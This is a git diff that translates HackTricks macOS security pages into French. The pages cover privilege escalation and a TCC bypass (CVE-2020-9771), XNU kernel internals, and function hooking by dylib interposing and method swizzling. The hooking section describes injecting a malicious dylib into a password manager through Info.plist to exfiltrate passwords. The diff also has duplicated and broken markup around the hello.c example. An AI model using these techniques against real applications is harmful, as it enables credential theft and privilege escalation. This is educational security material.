familiar with macOS, you should start learning the basics of macO ### MacOS MDM -In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**: +Dans les entreprises, les systèmes **macOS** sont très probablement gérés avec un MDM. Par conséquent, du point de vue d'un attaquant, il est intéressant de savoir **comment cela fonctionne** : {% content-ref url="macos-mdm/" %} [macos-mdm](macos-mdm/) {% endcontent-ref %} -### MacOS - Inspecting, Debugging and Fuzzing +### MacOS - Inspection, débogage et fuzzing {% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %} [macos-apps-inspecting-debugging-and-fuzzing](macos-apps-inspecting-debugging-and-fuzzing/) {% endcontent-ref %} -## MacOS Security Protections +## Protections de sécurité de MacOS {% content-ref url="macos-security-protections/" %} [macos-security-protections](macos-security-protections/) {% endcontent-ref %} -## Attack Surface +## Surface d'attaque -### File Permissions +### Autorisations de fichier -If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\ -This could occur in the following situations: +Si un **processus s'exécutant en tant que root écrit** un fichier qui peut être contrôlé par un utilisateur, l'utilisateur pourrait l'utiliser pour **escalader les privilèges**.\ +Cela pourrait se produire dans les situations suivantes : -* File used was already created by a user (owned by the user) -* File used is writable by the user because of a group -* File used is inside a directory owned by the user (the user could create the file) -* File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file) +* Le fichier utilisé a été créé par un utilisateur (appartenant à l'utilisateur) +* Le fichier utilisé est accessible en écriture par l'utilisateur en raison d'un groupe +* Le fichier utilisé est à l'intérieur d'un répertoire appartenant à l'utilisateur (l'utilisateur pourrait créer le fichier) +* Le fichier utilisé est à l'intérieur d'un répertoire appartenant à root mais l'utilisateur a un accès en écriture dessus en raison d'un groupe (l'utilisateur pourrait créer le fichier) -Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place. +Être capable de **créer un fichier** qui va être **utilisé par root**, permet à un utilisateur de **tirer parti de son contenu** ou même de créer des **liens symboliques/hardlinks** pour le pointer vers un autre endroit. -### Entitlements and Privileges abuse via process abuse +### Abus de privilèges et d'attributions via l'abus de processus -If a process can **inject code in another process with better privileges or entitlements** or contact it to perform privileges actions, he could escalate privileges and bypass defensive meassures such as [Sandbox](macos-security-protections/macos-sandbox/) or [TCC](macos-security-protections/macos-tcc/). +Si un processus peut **injecter du code dans un autre processus avec des privilèges ou des attributions supérieurs** ou le contacter pour effectuer des actions de privilèges, il pourrait escalader les privilèges et contourner les mesures de défense telles que [Sandbox](macos-security-protections/macos-sandbox/) ou [TCC](macos-security-protections/macos-tcc/). {% content-ref url="macos-proces-abuse/" %} [macos-proces-abuse](macos-proces-abuse/) {% endcontent-ref %} -### File Extension Apps +### Applications d'extension de fichier -Weird apps registered by file extensions could be abused: +Des applications étranges enregistrées par des extensions de fichier pourraient être abusées : {% content-ref url="macos-file-extension-apps.md" %} [macos-file-extension-apps.md](macos-file-extension-apps.md) {% endcontent-ref %} -### URL handler applications +### Applications de gestionnaire d'URL -Different applications can be resgiter to open specific protocols. They could be abused. +Différentes applications peuvent être enregistrées pour ouvrir des protocoles spécifiques. Ils pourraient être abusés. -TODO: Create a page about this +TODO: Créer une page à ce sujet -## MacOS Privilege Escalation +## Élévation de privilèges sur MacOS -### CVE-2020-9771 - mount\_apfs TCC bypass and privilege escalation +### CVE-2020-9771 - Contournement de TCC et élévation de privilèges de mount\_apfs -**Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\ -The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin. +**N'importe quel utilisateur** (même non privilégié) peut créer et monter un instantané de la machine à remonter le temps et **accéder à TOUS les fichiers** de cet instantané.\ +Le **seul privilège** nécessaire est que l'application utilisée (comme `Terminal`) ait un accès **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`) qui doit être accordé par un administrateur. {% code overflow="wrap" %} ```bash @@ -141,23 +141,23 @@ ls /tmp/snap/Users/admin_user # This will work ``` {% endcode %} -A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.** +Une explication plus détaillée peut être [**trouvée dans le rapport original**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.** -### Sensitive Information +### Informations sensibles {% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} [macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md) {% endcontent-ref %} -### Linux Privesc +### Privilège d'escalade Linux -First of all, please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see: +Tout d'abord, veuillez noter que **la plupart des astuces d'escalade de privilèges affectant Linux/Unix affecteront également les machines MacOS**. Voir donc : {% content-ref url="../../linux-hardening/privilege-escalation/" %} [privilege-escalation](../../linux-hardening/privilege-escalation/) {% endcontent-ref %} -## References +## Références * [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) @@ -167,22 +167,22 @@ First of all, please note that **most of the tricks about privilege escalation a
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lire des tutoriels sur les bugs web3 -🔔 Get notified about new bug bounties +🔔 Recevoir des notifications sur les nouveaux programmes de primes pour bugs -💬 Participate in community discussions +💬 Participer aux discussions de la communauté
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index dc9be6818..6d2ad4672 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -1,53 +1,52 @@ -# macOS Kernel +# Noyau macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## XNU Kernel +## Noyau XNU -The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**. +Le **cœur de macOS est XNU**, qui signifie "X is Not Unix". Ce noyau est fondamentalement composé du **micro-noyau Mach** (à discuter plus tard), **et** d'éléments de la distribution de logiciels Berkeley (**BSD**). XNU fournit également une plate-forme pour les **pilotes de noyau via un système appelé I/O Kit**. Le noyau XNU fait partie du projet open source Darwin, ce qui signifie que **son code source est librement accessible**. -From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages. +Du point de vue d'un chercheur en sécurité ou d'un développeur Unix, **macOS** peut sembler assez **similaire** à un système **FreeBSD** avec une interface graphique élégante et une multitude d'applications personnalisées. La plupart des applications développées pour BSD se compileront et s'exécuteront sur macOS sans avoir besoin de modifications, car les outils en ligne de commande familiers aux utilisateurs Unix sont tous présents dans macOS. Cependant, parce que le noyau XNU intègre Mach, il existe des différences significatives entre un système de type Unix traditionnel et macOS, et ces différences peuvent causer des problèmes potentiels ou offrir des avantages uniques. ### Mach -Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**. +Mach est un **micro-noyau** conçu pour être **compatible avec UNIX**. L'un de ses principes clés de conception était de **minimiser** la quantité de **code** s'exécutant dans l'espace du **noyau** et de permettre plutôt à de nombreuses fonctions de noyau typiques, telles que le système de fichiers, le réseau et l'E/S, de **s'exécuter en tant que tâches de niveau utilisateur**. -In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management. +Dans XNU, Mach est **responsable de nombreuses opérations de bas niveau critiques** qu'un noyau gère généralement, telles que la planification du processeur, le multitâche et la gestion de la mémoire virtuelle. ### BSD -The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including: +Le noyau XNU **intègre également** une quantité importante de code dérivé du projet **FreeBSD**. Ce code **s'exécute en tant que partie du noyau avec Mach**, dans le même espace d'adressage. Cependant, le code FreeBSD dans XNU peut différer considérablement du code FreeBSD original car des modifications ont été nécessaires pour assurer sa compatibilité avec Mach. FreeBSD contribue à de nombreuses opérations de noyau, notamment : -* Process management -* Signal handling -* Basic security mechanisms, including user and group management -* System call infrastructure -* TCP/IP stack and sockets -* Firewall and packet filtering +* Gestion des processus +* Gestion des signaux +* Mécanismes de sécurité de base, y compris la gestion des utilisateurs et des groupes +* Infrastructure d'appel système +* Pile TCP/IP et sockets +* Pare-feu et filtrage de paquets -Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure. +Comprendre l'interaction entre BSD et Mach peut être complexe, en raison de leurs cadres conceptuels différents. Par exemple, BSD utilise des processus comme unité d'exécution fondamentale, tandis que Mach fonctionne sur la base de threads. Cette divergence est conciliée dans XNU en **associant chaque processus BSD à une tâche Mach** qui contient exactement un thread Mach. Lorsque l'appel système fork() de BSD est utilisé, le code BSD dans le noyau utilise des fonctions Mach pour créer une tâche et une structure de thread. -Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel. +De plus, **Mach et BSD maintiennent chacun des modèles de sécurité différents** : le modèle de sécurité de **Mach** est basé sur les **droits de port**, tandis que le modèle de sécurité de BSD fonctionne sur la base de la **propriété de processus**. Les disparités entre ces deux modèles ont parfois entraîné des vulnérabilités d'escalade de privilèges locales. Outre les appels système typiques, il existe également des **trappes Mach qui permettent aux programmes de l'espace utilisateur d'interagir avec le noyau**. Ces différents éléments forment ensemble l'architecture hybride et multifacette du noyau macOS. -### I/O Kit - Drivers +### I/O Kit - Pilotes -I/O Kit is the open-source, object-oriented, **device-driver framework** in the XNU kernel and is responsible for the addition and management of **dynamically loaded device drivers**. These drivers allow for modular code to be added to the kernel dynamically for use with different hardware, for example. They are located in: +I/O Kit est le framework open source, orienté objet, de **pilotes de périphériques** dans le noyau XNU et est responsable de l'ajout et de la gestion des **pilotes de périphériques chargés dynamiquement**. Ces pilotes permettent l'ajout de code modulaire au noyau de manière dynamique pour une utilisation avec différents matériels, par exemple. Ils se trouvent dans : * `/System/Library/Extensions` - * KEXT files built into the OS X operating system. + * Fichiers KEXT intégrés au système d'exploitation OS X. * `/Library/Extensions` - * KEXT files installed by 3rd party software - + * Fichiers KEXT installés par des logiciels tiers. ```bash #Use kextstat to print the loaded drivers kextstat @@ -65,38 +64,33 @@ Index Refs Address Size Wired Name (Version) UUID 10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> ``` +Jusqu'au numéro 9, les pilotes répertoriés sont **chargés à l'adresse 0**. Cela signifie qu'il ne s'agit pas de pilotes réels mais **d'une partie du noyau et qu'ils ne peuvent pas être déchargés**. -Until the number 9 the listed drivers are **loaded in the address 0**. This means that those aren't real drivers but **part of the kernel and they cannot be unloaded**. - -In order to find specific extensions you can use: - +Pour trouver des extensions spécifiques, vous pouvez utiliser: ```bash kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id kextfind -bundle-id -substring IOR #Search by substring in bundle-id ``` - -To load and unload kernel extensions do: - +Pour charger et décharger des extensions de noyau, faites : ```bash kextload com.apple.iokit.IOReportFamily kextunload com.apple.iokit.IOReportFamily ``` - -### IPC - Inter Process Communication +### IPC - Communication Inter-Processus {% content-ref url="macos-ipc-inter-process-communication/" %} [macos-ipc-inter-process-communication](macos-ipc-inter-process-communication/) {% endcontent-ref %} -## macOS Kernel Extensions +## Extensions de noyau macOS -macOS is **super restrictive to load Kernel Extensions** (.kext) because of the high privileges that code will run with. Actually, by default is virtually impossible (unless a bypass is found). +macOS est **très restrictif pour charger des extensions de noyau** (.kext) en raison des privilèges élevés avec lesquels le code s'exécutera. En fait, par défaut, il est pratiquement impossible (à moins qu'une méthode de contournement ne soit trouvée). {% content-ref url="macos-kernel-extensions.md" %} [macos-kernel-extensions.md](macos-kernel-extensions.md) {% endcontent-ref %} -## References +## Références * [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) @@ -105,10 +99,10 @@ macOS is **super restrictive to load Kernel Extensions** (.kext) because of the ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md index 305aedbd7..03bc1ede6 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md @@ -1,24 +1,24 @@ -# macOS Function Hooking +# Hooking de Fonction macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Function Interposing +## Interception de Fonction -Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions. +Créez un **dylib** avec une section **`__interpose`** (ou une section marquée avec **`S_INTERPOSING`**) contenant des tuples de **pointeurs de fonction** qui font référence aux fonctions **originales** et de **remplacement**. -Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app lodas). Obviously this restriction has the **restrictions** applied to the use of DYLD\_INSERT\_LIBRARIES. +Ensuite, **injectez** la dylib avec **`DYLD_INSERT_LIBRARIES`** (l'interception doit avoir lieu avant le chargement de l'application principale). Évidemment, cette restriction a les **restrictions** appliquées à l'utilisation de DYLD\_INSERT\_LIBRARIES. -### Interpose printf +### Interception de printf {% tabs %} {% tab title="interpose.c" %} @@ -45,6 +45,20 @@ __attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned lon {% endtab %} {% tab title="hello.c" %} + +```c +#include + +int main() { + printf("Hello, world!\n"); + return 0; +} +``` + +{% endtab %} +{% endtabs %} + +Le code ci-dessus est un exemple simple de programme C qui imprime "Hello, world!" sur la console. ```c //gcc hello.c -o hello #include @@ -55,31 +69,33 @@ int main() { } ``` {% endtab %} -{% endtabs %} +{% endtabs %} +devient + +{% endtab %} +{% endtabs %} ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello [+] Hello from interpose ``` +## Méthode Swizzling -## Method Swizzling +En ObjectiveC, voici comment une méthode est appelée : `[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]` -In ObjectiveC this is how a method is called: `[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]` +Il est nécessaire de connaître l'**objet**, la **méthode** et les **paramètres**. Et lorsqu'une méthode est appelée, un **message est envoyé** en utilisant la fonction **`objc_msgSend`** : `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` -It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` +L'objet est **`someObject`**, la méthode est **`@selector(method1p1:p2:)`** et les arguments sont **value1**, **value2**. -The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**. - -Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**. +En suivant les structures d'objet, il est possible d'atteindre un **tableau de méthodes** où les **noms** et les **pointeurs** vers le code de la méthode sont **stockés**. {% hint style="danger" %} -Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov
` or [`class-dump `](https://github.com/nygard/class-dump) +Notez que parce que les méthodes et les classes sont accessibles en fonction de leurs noms, ces informations sont stockées dans le binaire, il est donc possible de les récupérer avec `otool -ov ` ou [`class-dump `](https://github.com/nygard/class-dump) {% endhint %} -### Accessing the raw methods - -It's possible to access the information of the methods such as name, number of params or address like in the following example: +### Accès aux méthodes brutes +Il est possible d'accéder aux informations des méthodes telles que le nom, le nombre de paramètres ou l'adresse comme dans l'exemple suivant : ```objectivec // gcc -framework Foundation test.m -o test @@ -145,11 +161,9 @@ int main() { return 0; } ``` +### Méthode Swizzling avec method\_exchangeImplementations -### Method Swizzling with method\_exchangeImplementations - -The function method\_exchangeImplementations allows to change the address of one function for the other. So when a function is called what is executed is the other one. - +La fonction method\_exchangeImplementations permet de changer l'adresse d'une fonction pour une autre. Ainsi, lorsque la fonction est appelée, c'est l'autre qui est exécutée. ```objectivec //gcc -framework Foundation swizzle_str.m -o swizzle_str @@ -193,13 +207,11 @@ int main(int argc, const char * argv[]) { return 0; } ``` +### Méthode Swizzling avec method\_setImplementation -### Method Swizzling with method\_setImplementation - -The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**. - -Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address. +Le format précédent est étrange car vous modifiez l'implémentation de 2 méthodes l'une par l'autre. En utilisant la fonction **`method_setImplementation`**, vous pouvez **changer** l'**implémentation** d'une **méthode pour une autre**. +N'oubliez pas de **stocker l'adresse de l'implémentation de l'originale** si vous allez l'appeler depuis la nouvelle implémentation avant de l'écraser, car il sera beaucoup plus compliqué de localiser cette adresse plus tard. ```objectivec #import #import @@ -251,19 +263,17 @@ int main(int argc, const char * argv[]) { } } ``` +## Méthodologie d'attaque de Hooking -## Hooking Attack Methodology +Sur cette page, différentes façons de hooker des fonctions ont été discutées. Cependant, elles impliquaient **l'exécution de code à l'intérieur du processus pour attaquer**. -In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**. +Pour ce faire, la technique la plus simple à utiliser est d'injecter un [Dyld via des variables d'environnement ou de détournement](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md). Cependant, je suppose que cela pourrait également être fait via [l'injection de processus Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). -In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). +Cependant, les deux options sont **limitées** aux binaires/processus **non protégés**. Consultez chaque technique pour en savoir plus sur les limitations. -However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations. - -However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass. - -So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like: +Cependant, une attaque de hooking de fonction est très spécifique, un attaquant fera cela pour **voler des informations sensibles à l'intérieur d'un processus** (sinon, vous feriez simplement une attaque d'injection de processus). Et ces informations sensibles pourraient être situées dans des applications téléchargées par l'utilisateur telles que MacPass. +Le vecteur d'attaque de l'attaquant consisterait à trouver une vulnérabilité ou à supprimer la signature de l'application, à injecter la variable d'environnement **`DYLD_INSERT_LIBRARIES`** via le fichier Info.plist de l'application en ajoutant quelque chose comme: ```xml LSEnvironment @@ -271,10 +281,9 @@ So the attacker vector would be to either find a vulnerability or strip the sign /Applications/MacPass.app/Contents/malicious.dylib ``` +Ajoutez dans cette bibliothèque le code de hooking pour exfiltrer les informations : mots de passe, messages... -Add in that library the hooking code to exfiltrate the information: Passwords, messages... - -## References +## Références * [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) @@ -282,10 +291,10 @@ Add in that library the hooking code to exfiltrate the information: Passwords, m ☁️ 